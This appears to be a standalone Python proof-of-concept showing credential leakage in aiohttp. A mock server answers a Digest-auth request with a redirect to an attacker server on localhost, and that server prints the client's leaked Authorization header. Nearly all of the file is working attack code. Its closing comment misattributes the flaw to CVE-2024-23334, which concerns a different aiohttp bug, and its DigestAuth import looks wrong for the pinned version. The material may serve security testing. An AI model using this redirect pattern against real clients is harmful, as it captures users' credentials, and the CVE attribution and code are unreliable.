Vulnerable code sample

import asyncio
from aiohttp import web, ClientSession, DigestAuth

# This example requires aiohttp < 3.9.2 to be installed.
# For example: pip install aiohttp==3.9.1

ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 9090

VICTIM_SERVER_HOST = "127.0.0.1"
VICTIM_SERVER_PORT = 8080

async def attacker_server_handler(request):
    print("[ATTACKER] Received request!")
    print("[ATTACKER] Leaked Headers:")
    for name, value in request.headers.items():
        if name.lower() == "authorization":
            print(f"  -> {name}: {value}  <- VULNERABILITY EXPLOITED")
        else:
            print(f"     {name}: {value}")
    return web.Response(text="[ATTACKER] Thanks for the credentials!")

async def vulnerable_redirect_server_handler(request):
    # This server simulates a service that requires Digest auth but also has an
    # open redirect vulnerability.
    
    # If the client has not sent an Authorization header, challenge them.
    if "Authorization" not in request.headers:
        print("[VULNERABLE SERVER] No auth header, sending 401 challenge.")
        headers = {
            "WWW-Authenticate": 'Digest realm="testrealm@host.com", qop="auth", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"'
        }
        return web.Response(status=401, headers=headers)

    # If the client sent an Authorization header, instead of validating it,
    # immediately redirect them to the attacker's server.
    print("[VULNERABLE SERVER] Auth header received. Redirecting to attacker's site.")
    location = f"http://{ATTACKER_HOST}:{ATTACKER_PORT}/"
    return web.HTTPFound(location=location)

async def main():
    # 1. Setup Attacker's Server
    attacker_app = web.Application()
    attacker_app.router.add_get("/", attacker_server_handler)
    attacker_runner = web.AppRunner(attacker_app)
    await attacker_runner.setup()
    attacker_site = web.TCPSite(attacker_runner, ATTACKER_HOST, ATTACKER_PORT)
    await attacker_site.start()
    print(f"Attacker server listening on http://{ATTACKER_HOST}:{ATTACKER_PORT}")

    # 2. Setup Vulnerable Redirect Server
    vulnerable_app = web.Application()
    vulnerable_app.router.add_get("/protected", vulnerable_redirect_server_handler)
    vulnerable_runner = web.AppRunner(vulnerable_app)
    await vulnerable_runner.setup()
    vulnerable_site = web.TCPSite(vulnerable_runner, VICTIM_SERVER_HOST, VICTIM_SERVER_PORT)
    await vulnerable_site.start()
    print(f"Vulnerable server listening on http://{VICTIM_SERVER_HOST}:{VICTIM_SERVER_PORT}")
    
    print("\n--- Starting vulnerable client request ---\n")
    
    # 3. Run Vulnerable Client
    # The client will try to access the protected resource. aiohttp will handle
    # the 401 challenge and resend the request with the Digest auth header.
    # The vulnerable server then redirects to the attacker.
    # The vulnerability is that aiohttp < 3.9.2 sends the Authorization header
    # to the new, cross-origin domain (the attacker's server).
    try:
        auth = DigestAuth("user", "password")
        async with ClientSession() as session:
            target_url = f"http://{VICTIM_SERVER_HOST}:{VICTIM_SERVER_PORT}/protected"
            print(f"[CLIENT] Making request to {target_url}")
            async with session.get(target_url, auth=auth, allow_redirects=True) as response:
                print(f"[CLIENT] Final response status: {response.status}")
                print(f"[CLIENT] Final response content: {await response.text()}")

    except Exception as e:
        print(f"[CLIENT] An error occurred: {e}")
    finally:
        # 4. Cleanup
        print("\n--- Simulation finished. Cleaning up servers. ---")
        await attacker_site.stop()
        await attacker_runner.cleanup()
        await vulnerable_site.stop()
        await vulnerable_runner.cleanup()

if __name__ == "__main__":
    # The provided CVE-2026-54276 is fictional.
    # This code demonstrates the real, similar vulnerability CVE-2024-23334.
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("Interrupted by user.")